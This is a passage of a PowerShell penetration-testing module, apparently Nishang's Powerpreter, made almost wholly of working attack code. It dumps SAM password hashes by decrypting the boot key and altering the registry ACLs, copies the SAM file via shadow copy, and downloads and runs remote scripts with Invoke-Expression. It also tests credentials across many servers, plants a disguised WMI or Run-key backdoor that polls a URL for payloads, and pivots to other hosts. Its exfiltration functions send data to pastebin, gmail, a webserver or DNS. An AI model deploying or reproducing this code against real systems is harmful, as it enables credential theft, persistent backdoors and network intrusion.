2723 default {
2724 throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
2725 }
2726 }
2727 $KEYQUERYVALUE = 0x1;
2728 $KEYREAD = 0x19;
2729 $KEYALLACCESS = 0x3F;
2730 $result = "";
2731 [int]$hkey=0
2732 if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
2733 {
2734 $classVal = New-Object Text.Stringbuilder 1024
2735 [int]$len = 1024
2736 if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
2737 [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
2738 {
2739 $result = $classVal.ToString()
2740 }
2741 else
2742 {
2743 Write-Error "RegQueryInfoKey failed";
2744 }
2745 [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
2746 }
2747 else
2748 {
2749 Write-Error "Cannot open key";
2750 }
2751 return $result;
2752}
2753
2754function Get-BootKey
2755{
2756 $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
2757 $b = new-object byte[] $($s.Length/2);
2758 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
2759 $b2 = new-object byte[] 16;
2760 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
2761 return ,$b2;
2762}
2763
2764function Get-HBootKey
2765{
2766 param([byte[]]$bootkey);
2767 $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
2768 $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
2769 $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
2770 if (-not $k) {return $null}
2771 [byte[]]$F = $k.GetValue("F");
2772 if (-not $F) {return $null}
2773 $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
2774 $rc4 = NewRC4 $rc4key;
2775 return ,($rc4.encrypt($F[0x80..0x9F]));
2776}
2777
2778function Get-UserName([byte[]]$V)
2779{
2780 if (-not $V) {return $null};
2781 $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
2782 $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
2783 return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
2784}
2785
2786function Get-UserHashes($u, [byte[]]$hbootkey)
2787{
2788 [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
2789
2790 # check if hashes exist (if byte memory equals to 20, then we've got a hash)
2791 $LM_exists = $false;
2792 $NT_exists = $false;
2793 # LM header check
2794 if ($u.V[0xa0..0xa3] -eq 20)
2795 {
2796 $LM_exists = $true;
2797 }
2798 # NT header check
2799 elseif ($u.V[0xac..0xaf] -eq 20)
2800 {
2801 $NT_exists = $true;
2802 }
2803
2804 if ($LM_exists -eq $true)
2805 {
2806 $lm_hash_offset = $u.HashOffset + 4;
2807 $nt_hash_offset = $u.HashOffset + 8 + 0x10;
2808 $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
2809 $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
2810 }
2811
2812 elseif ($NT_exists -eq $true)
2813 {
2814 $nt_hash_offset = $u.HashOffset + 8;
2815 $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
2816 }
2817 return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
2818}
2819
2820function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
2821{
2822 [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
2823 # LM Hash
2824 if ($enc_lm_hash)
2825 {
2826 $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
2827 }
2828
2829 # NT Hash
2830 if ($enc_nt_hash)
2831 {
2832 $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
2833 }
2834
2835 return ,($lmhash,$nthash)
2836}
2837
2838function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
2839{
2840 $deskeys = sid_to_key $rid;
2841 $md5 = [Security.Cryptography.MD5]::Create();
2842 $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
2843 $rc4 = NewRC4 $rc4_key;
2844 $obfkey = $rc4.encrypt($enc_hash);
2845 $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
2846 (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
2847 return ,$hash;
2848}
2849
2850function Get-UserKeys
2851{
2852 ls HKLM:\SAM\SAM\Domains\Account\Users |
2853 where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
2854 Add-Member AliasProperty KeyName PSChildName -PassThru |
2855 Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
2856 Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
2857 Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
2858 Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
2859}
2860
2861function DumpHashes
2862{
2863 LoadApi
2864 $bootkey = Get-BootKey;
2865 $hbootKey = Get-HBootKey $bootkey;
2866 Get-UserKeys | %{
2867 $hashes = Get-UserHashes $_ $hBootKey;
2868 "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
2869 [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
2870 [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
2871 }
2872}
2873
2874 #http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
2875 if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
2876 {
2877 Write-Warning "Script requires elevated or administrative privileges."
2878 Return
2879 }
2880 else
2881 {
2882 #Set permissions for the current user.
2883 $rule = New-Object System.Security.AccessControl.RegistryAccessRule (
2884 [System.Security.Principal.WindowsIdentity]::GetCurrent().Name,
2885 "FullControl",
2886 [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit",
2887 [System.Security.AccessControl.PropagationFlags]"None",
2888 [System.Security.AccessControl.AccessControlType]"Allow")
2889 $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
2890 "SAM\SAM\Domains",
2891 [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
2892 [System.Security.AccessControl.RegistryRights]::ChangePermissions)
2893 $acl = $key.GetAccessControl()
2894 $acl.SetAccessRule($rule)
2895 $key.SetAccessControl($acl)
2896
2897 DumpHashes
2898
2899 #Remove the permissions added above.
2900 $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
2901 $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null
2902 Set-Acl HKLM:\SAM\SAM\Domains $acl
2903
2904 }
2905}
2906
2907
2908
2909####################################Download and Execute a powershell script#########################################################
2910
2911
2912
2913function Download-Execute-PS
2914{
2915<#
2916.SYNOPSIS
2917Nishang script which downloads and executes a powershell script.
2918.DESCRIPTION
2919This payload downloads a powershell script from specified URL and then executes it on the target.
2920.PARAMETER ScriptURL
2921The URL from where the powershell script would be downloaded.
2922.PARAMETER Arguments
2923The Arguments to pass to the script when it is not downloaded to disk i.e. with -nodownload function.
2924This is to be used when the scripts load a function in memory, true for most scripts in Nishang.
2925.PARAMETER Nodownload
2926If this switch is used, the script is not dowloaded to the disk.
2927.EXAMPLE
2928PS > Download-Execute-PS http://pastebin.com/raw.php?i=jqP2vJ3x
2929.EXAMPLE
2930PS > Download-Execute-PS http://script.alteredsecurity.com/evilscript.ps1 -Argument evilscript -nodownload
2931The above command does not download the script file to disk and executes the evilscript function inside the evilscript.ps1
2932.LINK
2933http://labofapenetrationtester.com/
2934https://github.com/samratashok/nishang
2935#>
2936 [CmdletBinding()] Param(
2937 [Parameter(Position = 0, Mandatory = $True)]
2938 [String]
2939 $ScriptURL,
2940
2941 [Parameter(Position = 1, Mandatory = $False)]
2942 [String]
2943 $Arguments,
2944
2945 [Switch]
2946 $nodownload
2947 )
2948
2949 if ($nodownload -eq $true)
2950 {
2951 Invoke-Expression ((New-Object Net.WebClient).DownloadString("$ScriptURL"))
2952 if($Arguments)
2953 {
2954 Invoke-Expression $Arguments
2955 }
2956 }
2957
2958 else
2959 {
2960 $webclient = New-Object System.Net.WebClient
2961 $file1 = "$env:temp\deps.ps1"
2962 $webclient.DownloadFile($ScriptURL,"$file1")
2963 $script:pastevalue = powershell.exe -ExecutionPolicy Bypass -noLogo -command $file1
2964 $pastevalue
2965 }
2966}
2967
2968
2969
2970#####################################Check credentials on remote computers and create sessions#########################################################
2971
2972function Create-MultipleSessions
2973{
2974
2975<#
2976.SYNOPSIS
2977Function which can check for credentials on remote computers and can open PSSessions if the credentials work.
2978.DESCRIPTION
2979The payload uses WMI to check a credential against given list of computers. Use the -Creds parameter to specify username and password. If the script is run
2980from a powershell session with local or global admin credentials (or from a powershell session started with hashes of such account using WCE), it should be used
2981without the -Creds parameter. Use the -CreateSessions parameter to create PSSessions.
2982.PARAMETER filename
2983Path to the file which stores list of servers.
2984.PARAMETER Creds
2985Use this parameter to specify username (in form of domain\username) and password.
2986.PARAMETER CreateSessions
2987Use this parameter to make the script create PSSessions to targets on which the credentials worked.
2988.PARAMETER VerboseErrors
2989Use this parameter to get verbose error messages.
2990.EXAMPLE
2991PS > Create-MultipleSessions -filename .\servers.txt
2992Above command uses the credentials available with current powershell session and checks it against multiple computers specified in servers.txt
2993.EXAMPLE
2994PS > Create-MultipleSessions -filename .\servers.txt -Creds
2995Above command asks the user to provide username and passowrd to check on remote computers.
2996.EXAMPLE
2997PS > Create-MultipleSessions -filename .\servers.txt -CreateSessions
2998Above command uses the credentials available with current powershell session, checks it against multiple computers specified in servers.txt and creates PSSession for those.
2999.LINK
3000http://labofapenetrationtester.com/2013/04/poshing-the-hashes.html
3001https://github.com/samratashok/nishang
3002#>
3003
3004 [CmdletBinding()] Param (
3005 [Parameter(Position = 0, Mandatory = $True)]
3006 [String]
3007 $filename,
3008
3009 [Parameter(Mandatory = $False)]
3010 [Switch]
3011 $Creds,
3012
3013 [Parameter(Mandatory = $False)]
3014 [Switch]
3015 $CreateSessions,
3016
3017 [Parameter(Mandatory = $False)]
3018 [Switch]
3019 $VerboseErrors
3020 )
3021 $ErrorActionPreference = "SilentlyContinue"
3022 if ($VerboseErrors)
3023 {
3024 $ErrorActionPreference = "Continue"
3025 }
3026 $servers = Get-Content $filename
3027
3028 if ($Creds)
3029 {
3030 $Credentials = Get-Credential
3031 $CheckCommand = 'gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True" -ComputerName $server -Credential $Credentials'
3032 $SessionCommand = 'New-PSSession -ComputerName $server -Credential $Credentials'
3033 }
3034
3035 else
3036 {
3037 $CheckCommand = 'gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True" -ComputerName $server'
3038 $SessionCommand = 'New-PSSession -ComputerName $server'
3039 }
3040
3041 foreach ($server in $servers)
3042 {
3043 $check = Invoke-Expression $CheckCommand
3044 if($check -ne $null)
3045 {
3046 Write-Host "Credentials worked on $server !!" -ForegroundColor Green
3047 if ($CreateSessions -eq $True)
3048 {
3049 "`nCreating Session for $server"
3050 Invoke-Expression $SessionCommand
3051 }
3052 }
3053 else
3054 {
3055 "Could not connect or credentials didn't work on $server"
3056 }
3057 }
3058
3059 if ($CreateSessions -eq $True)
3060 {
3061 Write-Host "`nFollowing Sessions have been created: " -ForegroundColor Green
3062 Get-PSSession
3063 }
3064}
3065
3066##########################################Copy SAM file using Volume Shadow Service################################
3067<#
3068.SYNOPSIS
3069Nishang Payload which copies the SAM file.
3070.DESCRIPTION
3071This payload uses the VSS service (starts it if not running), creates a shadow of C:
3072and copies the SAM file which could be used to dump password hashes from it. This must be run from an elevated shell.
3073.PARAMETER PATH
3074The path where SAM file would be saved. The folder must exist already.
3075.EXAMPLE
3076PS > Copy-VSS
3077Saves the SAM file in current run location of the payload.
3078.Example
3079PS > Copy-VSS -path C:\temp
3080.LINK
3081http://www.canhazcode.com/index.php?a=4
3082https://github.com/samratashok/nishang
3083.NOTES
3084Code by @al14s
3085#>
3086
3087
3088function Copy-VSS
3089{
3090 [CmdletBinding()] Param(
3091 [Parameter(Position = 0, Mandatory = $False)]
3092 [String]
3093 $Path
3094 )
3095 $service = (Get-Service -name VSS)
3096 if($service.Status -ne "Running")
3097 {
3098 $notrunning=1
3099 $service.Start()
3100 }
3101 $id = (gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
3102 $volume = (gwmi win32_shadowcopy -filter "ID='$id'")
3103 $filepath = "$pwd\SAM"
3104 if ($path)
3105 {
3106 $filepath = "$path\SAM"
3107 }
3108
3109 `cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SAM" $filepath`
3110 $volume.Delete()
3111 if($notrunning -eq 1)
3112 {
3113 $service.Stop()
3114 }
3115}
3116
3117
3118
3119########################################################Achieve persistence ###############################################
3120###http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/20/use-powershell-to-create-a-permanent-wmi-event-to-launch-a-vbscript.aspx
3121
3122function Persistence
3123{
3124<#
3125.SYNOPSIS
3126Function which could be used to add reboot persistence to powerpreter.
3127.DESCRIPTION
3128Powerpreter is dropped into the user's temp directory (with name Update.psm1) and either WMI permanent event consumer or Registry changes is used (based on privs) for persistence.
3129The Update.psm1 is then copied to $PSModulepath of the user.
3130Persistence created using this function could be cleaned by using the Remove-Persistence function.
3131.PARAMETER CheckURL
3132The URL which the payload would query for instructions.
3133.PARAMETER PayloadURL
3134The URL from where commands could be sent. Function names of Powerpreter could be used here.
3135If the target has powershell v2 (or you are not sure), use Import-Module Update in the command.
3136For example: Import-Module Update; Get-Wlan-Keys
3137.PARAMETER PowerpreterURL
3138The URL from where powerpreter would be downloaded if it is removed from the user's temp directory.
3139.PARAMETER MagicString
3140The string which would act as an instruction to the payload to proceed with download and execute.
3141.PARAMETER StopString
3142The string which if found at CheckURL will stop the payload.
3143.PARAMETER persist
3144Use this parameter to achieve reboot persistence. Different methods of persistence with Admin access and normal user access.
3145.PARAMETER exfil
3146Use this parameter to use exfiltration methods for returning the results.
3147.PARAMETER ExfilOption
3148The method you want to use for exfitration of data. Valid options are "gmail","pastebin","WebServer" and "DNS".
3149.PARAMETER dev_key
3150The Unique API key provided by pastebin when you register a free account.
3151Unused for other options
3152.PARAMETER username
3153Username for the pastebin/gmail account where data would be exfiltrated.
3154Unused for other options
3155.PARAMETER password
3156Password for the pastebin/gmail account where data would be exfiltrated.
3157Unused for other options
3158.PARAMETER URL
3159The URL of the webserver where POST requests would be sent.
3160.PARAMETER DomainName
3161The DomainName, whose subdomains would be used for sending TXT queries to.
3162.PARAMETER AuthNS
3163Authoritative Name Server for the domain specified in DomainName
3164.Example
3165PS > Persistence
3166The payload will ask for all required options.
3167.Example
3168PS > Persistence http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start stopthis -exfil -ExfilOption DNS -DomainName example.com -AuthNS 8.8.8.8
3169Use above command for using exfiltration methods.
3170.LINK
3171http://labofapenetrationtester.com/
3172https://github.com/samratashok/nishang
3173http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/20/use-powershell-to-create-a-permanent-wmi-event-to-launch-a-vbscript.aspx
3174#>
3175
3176
3177[CmdletBinding(DefaultParameterSetName="noexfil")] Param(
3178
3179 [Parameter(Parametersetname="exfil")]
3180 [Switch]
3181 $exfil,
3182
3183 [Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]
3184 [Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]
3185 [String]
3186 $CheckURL,
3187
3188 [Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]
3189 [Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]
3190 [String]
3191 $PayloadURL,
3192
3193 [Parameter(Position = 2, Mandatory = $True, Parametersetname="exfil")]
3194 [Parameter(Position = 2, Mandatory = $True, Parametersetname="noexfil")]
3195 [String]
3196 $PowerpreterURL,
3197
3198 [Parameter(Position = 3, Mandatory = $True, Parametersetname="exfil")]
3199 [Parameter(Position = 3, Mandatory = $True, Parametersetname="noexfil")]
3200 [String]
3201 $MagicString,
3202
3203 [Parameter(Position = 4, Mandatory = $True, Parametersetname="exfil")]
3204 [Parameter(Position = 4, Mandatory = $True, Parametersetname="noexfil")]
3205 [String]
3206 $StopString,
3207
3208 [Parameter(Position = 5, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
3209 [String]
3210 $ExfilOption,
3211
3212 [Parameter(Position = 6, Mandatory = $False, Parametersetname="exfil")]
3213 [String]
3214 $dev_key = "null",
3215
3216 [Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")]
3217 [String]
3218 $username = "null",
3219
3220 [Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
3221 [String]
3222 $password = "null",
3223
3224 [Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")]
3225 [String]
3226 $URL = "null",
3227
3228 [Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
3229 [String]
3230 $DomainName = "null",
3231
3232 [Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]
3233 [String]
3234 $AuthNS = "null"
3235
3236 )
3237
3238 $backdoorcode = @'
3239function Persistence_HTTP ($CheckURL, $PayloadURL, $MagicString, $StopString, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $AuthNS, $exfil)
3240{
3241 while($true)
3242 {
3243 $exec = 0
3244 start-sleep -seconds 5
3245 $webclient = New-Object System.Net.WebClient
3246 $filecontent = $webclient.DownloadString("$CheckURL")
3247 if($filecontent -eq $MagicString)
3248 {
3249 $pastevalue = Invoke-Expression $webclient.DownloadString($PayloadURL)
3250 $exec++
3251 if ($exfil -eq $True)
3252 {
3253 Do-Exfiltration "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$AuthNS"
3254 }
3255 if ($exec -eq 1)
3256 {
3257 Start-Sleep -Seconds 60
3258 }
3259 }
3260 elseif ($filecontent -eq $StopString)
3261 {
3262 break
3263 }
3264 }
3265}
3266'@
3267 $powerpreterpath = $MyInvocation.MyCommand.Module.Path
3268 Copy-Item $powerpreterpath -Destination $env:TEMP\Update.psm1
3269 echo "Set objShell = CreateObject(`"Wscript.shell`")" > "$env:temp\update.vbs"
3270 echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\update.ps1`")" >> "$env:temp\update.vbs"
3271 echo "if (!(Test-Path $env:TEMP\Update.psm1)) {(New-Object Net.WebClient).DownloadFile(`"$PowerpreterURL`",`"$env:temp\Update.psm1`")}" >> "$env:temp\update.ps1"
3272 echo "mkdir `"$home\Documents\WindowsPowerShell\Modules\Update(x64)`", `"$home\Documents\WindowsPowerShell\Modules\Update`", `"$home\Documents\WindowsPowerShell\Modules\UpdateCheck`"" > "$env:temp\update.ps1"
3273 echo "`$currentpath = `"$env:temp\Update.psm1`"" >> "$env:temp\update.ps1"
3274 echo "Copy-Item `$currentpath -Destination `"$home\Documents\WindowsPowerShell\Modules\Update`"" >> "$env:temp\update.ps1"
3275 Out-File -InputObject $backdoorcode -Append "$env:TEMP\update.ps1"
3276 $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
3277 if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
3278 {
3279 $filterNS = "root\cimv2"
3280 $wmiNS = "root\subscription"
3281 $query = @"
3282 Select * from __InstanceCreationEvent within 3
3283 where targetInstance isa 'Win32_LogonSession'
3284"@
3285 $filterName = "WindowsSanity"
3286 $scriptpath = $env:TEMP
3287 $scriptFileName = "$scriptpath\update.vbs"
3288 $filterPath = Set-WmiInstance -Class __EventFilter -Namespace $wmiNS -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
3289 $consumerPath = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace $wmiNS -Arguments @{name="WindowsSanity"; ScriptFileName=$scriptFileName; ScriptingEngine="VBScript"}
3290 Set-WmiInstance -Class __FilterToConsumerBinding -Namespace $wmiNS -arguments @{Filter=$filterPath; Consumer=$consumerPath} | out-null
3291 $options = "Persistence_HTTP $CheckURL $PayloadURL $MagicString $StopString"
3292 if ($exfil -eq $True)
3293 {
3294 $options = "Persistence_HTTP $CheckURL $PayloadURL $MagicString $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
3295 }
3296 Out-File -InputObject $options -Append "$env:TEMP\update.ps1"
3297 }
3298 else
3299 {
3300 New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -PropertyType String -Value "$($env:temp)\update.vbs" -force
3301 $options = "Persistence_HTTP $CheckURL $PayloadURL $MagicString $StopString"
3302 if ($exfil -eq $True)
3303 {
3304 $options = "Persistence_HTTP $CheckURL $PayloadURL $MagicString $StopString $ExfilOption $dev_key $username $password $URL $DomainName $AuthNS $exfil"
3305 }
3306 Out-File -InputObject $options -Append "$env:TEMP\update.ps1"
3307 }
3308
3309 Invoke-Expression "$env:TEMP\update.vbs"
3310}
3311
3312
3313########################################################## Clear Persistence ##############################################################
3314function Remove-Persistence
3315{
3316 <#
3317.SYNOPSIS
3318Function which could be used to clear the persistence added by backdoors and keylogger.
3319.DESCRIPTION
3320This function cleans WMI events and Registry keys added by various payloads and Add-persistence script of Nishang.
3321Run the function as an Administrator to remove the WMI events.
3322.Example
3323PS > Remove-Persistence
3324.LINK
3325http://labofapenetrationtester.com/
3326https://github.com/samratashok/nishang
3327http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/20/use-powershell-to-create-a-permanent-wmi-event-to-launch-a-vbscript.aspx
3328#>
3329 [CmdletBinding(DefaultParameterSetName="noexfil")] Param(
3330 [Parameter(Position = 0)] [Switch]
3331 $Remove
3332 )
3333
3334 if ($Remove -eq $true)
3335 {
3336 $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
3337 if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true)
3338 {
3339 Write-Warning "Run the Command as an Administrator. Removing Registry keys only."
3340 Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -ErrorAction SilentlyContinue
3341 Break
3342 }
3343
3344 Write-Output "Removing the WMI Events."
3345 $filterName = "WindowsSanity"
3346 gwmi __eventFilter -namespace root\subscription -filter "name='WindowsSanity'"| Remove-WmiObject
3347 gwmi activeScriptEventConsumer -Namespace root\subscription | Remove-WmiObject
3348 gwmi __filtertoconsumerbinding -Namespace root\subscription -Filter "Filter = ""__eventfilter.name='WindowsSanity'""" | Remove-WmiObject
3349 Write-Output "Removing the Registry keys."
3350 Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -ErrorAction SilentlyContinue
3351 }
3352 $Regkey = Get-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -name Update -ErrorAction SilentlyContinue
3353 $wmi_1 = gwmi __eventFilter -namespace root\subscription -filter "name='WindowsSanity'"
3354 $wmi_2 = gwmi activeScriptEventConsumer -Namespace root\subscription
3355 $wmi_3 = gwmi __filtertoconsumerbinding -Namespace root\subscription -Filter "Filter = ""__eventfilter.name='WindowsSanity'"""
3356 if ($Regkey -ne $null )
3357 {
3358 Write-Warning "Run Registry key persistence found. Use with -Remove option to clean."
3359 }
3360 elseif (($wmi_1) -and ($wmi_2) -and ($wmi_3) -ne $null)
3361 {
3362 Write-Warning "WMI permanent event consumer persistence found. Use with -Remove option to clean."
3363 }
3364 else
3365 {
3366 Write-Output "No Persistence found."
3367 }
3368}
3369
3370
3371#########################################################Pivoting to other systems##########################################################
3372function Pivot
3373{
3374
3375<#
3376.SYNOPSIS
3377Function which provides pivoting to other machines in a network.
3378.DESCRIPTION
3379The functionality uses powershell remoting to connect to remote machines. Pivoting could be interactive or non-interactive.
3380Credentials are required to use this function. Username/pass or a shell with rights to access remote machines could be used as credentials.
3381.PARAMETER Computer
3382Name of the computer(s) to connect to.
3383.PARAMETER User
3384Username to be used to connect to the target (optional).
3385.PARAMETER Pass
3386Password to be used to connect to the target (optional).
3387.PARAMETER cmd
3388Cmd to be executed on the target. Mandatory in case of non-interactive.
3389.PARAMETER Non_Interactive
3390If specified, the pivtoing is non-interactive. It is interactive by default.
3391.EXAMPLE
3392PS > Pivot -Computer <target>
3393Above command uses the credentials available with current powershell session (or other shell) to connect to target.
3394It creates PSSsessions. Use Use-Session to interact with the created sessions.
3395.EXAMPLE
3396PS > Pivot -Computer <Get-Content .\targets.txt> -User Administrator -Pass P@ssword123#
3397Above command asks the user to provide username and passowrd and creates PSSessions. Use Use-Session to
3398interact with the created sessions.
3399PS > Pivot -Computer <target> -cmd Get-Process -Non_Interactive
3400Above command uses the credentials available with current powershell session (or other shell) to connect to target.
3401It provides a non-interactive pivot. Get-Process is executed on the target.
3402.EXAMPLE
3403PS > Pivot -Computer <target> -User Administrator -Pass P@ssword123# -cmd Get-Process
3404Above command asks the user to provide username and passowrd and creates PSSessions.
3405Get-Process is executed on the target. Use Use-Session to interact with the created sessions.
3406.LINK
3407https://github.com/samratashok/nishang
3408#>
3409
3410
3411
3412 [CmdletBinding()] Param (
3413 [Parameter(Position = 0, Mandatory = $True)]
3414 [String[]]
3415 $Computer,
3416
3417 [Parameter(Position = 1)]
3418 [String]
3419 $User,
3420
3421 [Parameter(Position = 2)]
3422 [String]
3423 $Pass,
3424
3425 [Parameter(Position = 3)]
3426 [String]
3427 $cmd,
3428
3429 [Switch] $Non_Interactive
3430 )
3431
3432 #Interactive pivoting
3433 if ($Non_Interactive -eq $false)
3434 {
3435 if ($User)
3436 {
3437 $Passwd = ConvertTo-SecureString $Pass -AsPlainText -Force
3438 $Creds = New-Object System.Management.Automation.PSCredential ($User, $Passwd)
3439 foreach ($comp in $Computer)
3440 {
3441
3442 New-PSSession -ComputerName $comp -Credential $Creds
3443 }
3444
3445 }
3446 else
3447 {
3448 New-PSSession -ComputerName $Computer
3449
3450 }
3451 }
3452 #Non-Interactive pivoting (command execution on remote machines) using Invoke-Command
3453 if ($Non_Interactive -eq $true)
3454 {
3455 if ($User)
3456 {
3457
3458 $Passwd = ConvertTo-SecureString $Pass -AsPlainText -Force
3459 $Creds = New-Object System.Management.Automation.PSCredential ($User, $Passwd)
3460 $sb = [scriptblock]::Create($cmd)
3461 foreach ($comp in $Computer)
3462 {
3463 $result = Invoke-Command -ComputerName $comp -Credential $Creds -ScriptBlock $sb
3464 "Output of command on $comp " + $result
3465 }
3466 }
3467 else
3468 {
3469 foreach ($comp in $Computer)
3470 {
3471 Invoke-Command -ComputerName $comp -ScriptBlock {$Command}
3472 }
3473
3474 }
3475 }
3476
3477}
3478
3479function Use-Session
3480{
3481<#
3482.SYNOPSIS
3483Function which could be used to interact with sessions created using Pivot.
3484.DESCRIPTION
3485The functionality allows to interact with sessions created using the Pivot function. Use Get-PSSSession to
3486list the sessions created using Pivot.
3487.PARAMETER id
3488ID of the session to interact with.
3489.EXAMPLE
3490PS > Use-Session -id <id>
3491Above command uses the credentials available with current powershell session (or other shell) to connect to target.
3492It creates PSSsessions. Use Use-Session to interact with the created sessions.
3493.LINK
3494https://github.com/samratashok/nishang
3495#>
3496 [CmdletBinding()] Param (
3497 [Parameter(Position = 0, Mandatory = $True)]
3498 $id
3499 )
3500
3501 while($cmd -ne "exit")
3502 {
3503 $sess = Get-PSSession -Id $id
3504 $computername = $sess.ComputerName
3505 write-host -NoNewline "$computername> "
3506 $cmd = read-host
3507 $sb = [scriptblock]::Create($cmd)
3508 Invoke-Command -ScriptBlock $sb -Session $sess
3509 }
3510}
3511
3512
3513#####################################################Exfiltration Functionality################################################
3514
3515function Do-Exfiltration
3516{
3517<#
3518.SYNOPSIS
3519Use this function to exfiltrate data from a target.
3520.DESCRIPTION
3521This function could be used to exfiltrate data from a target to gmail, pastebin, a webserver which could log POST requests
3522and a DNS Server which could log TXT queries. To decode the data exfiltrated by webserver and DNS methods use Invoke-Decode.
3523.PARAMETER Data
3524The data to be exfiltrated. Could be supplied by pipeline.
3525.PARAMETER ExfilOption
3526The method you want to use for exfitration of data. Valid options are "gmail","pastebin","WebServer" and "DNS".
3527.PARAMETER dev_key
3528The Unique API key provided by pastebin when you register a free account.
3529Unused for other options
3530.PARAMETER username
3531Username for the pastebin/gmail account where data would be exfiltrated.
3532Unused for other options
3533.PARAMETER password
3534Password for the pastebin/gmail account where data would be exfiltrated.
3535Unused for other options
3536.PARAMETER URL
3537The URL of the webserver where POST requests would be sent.
3538.PARAMETER DomainName
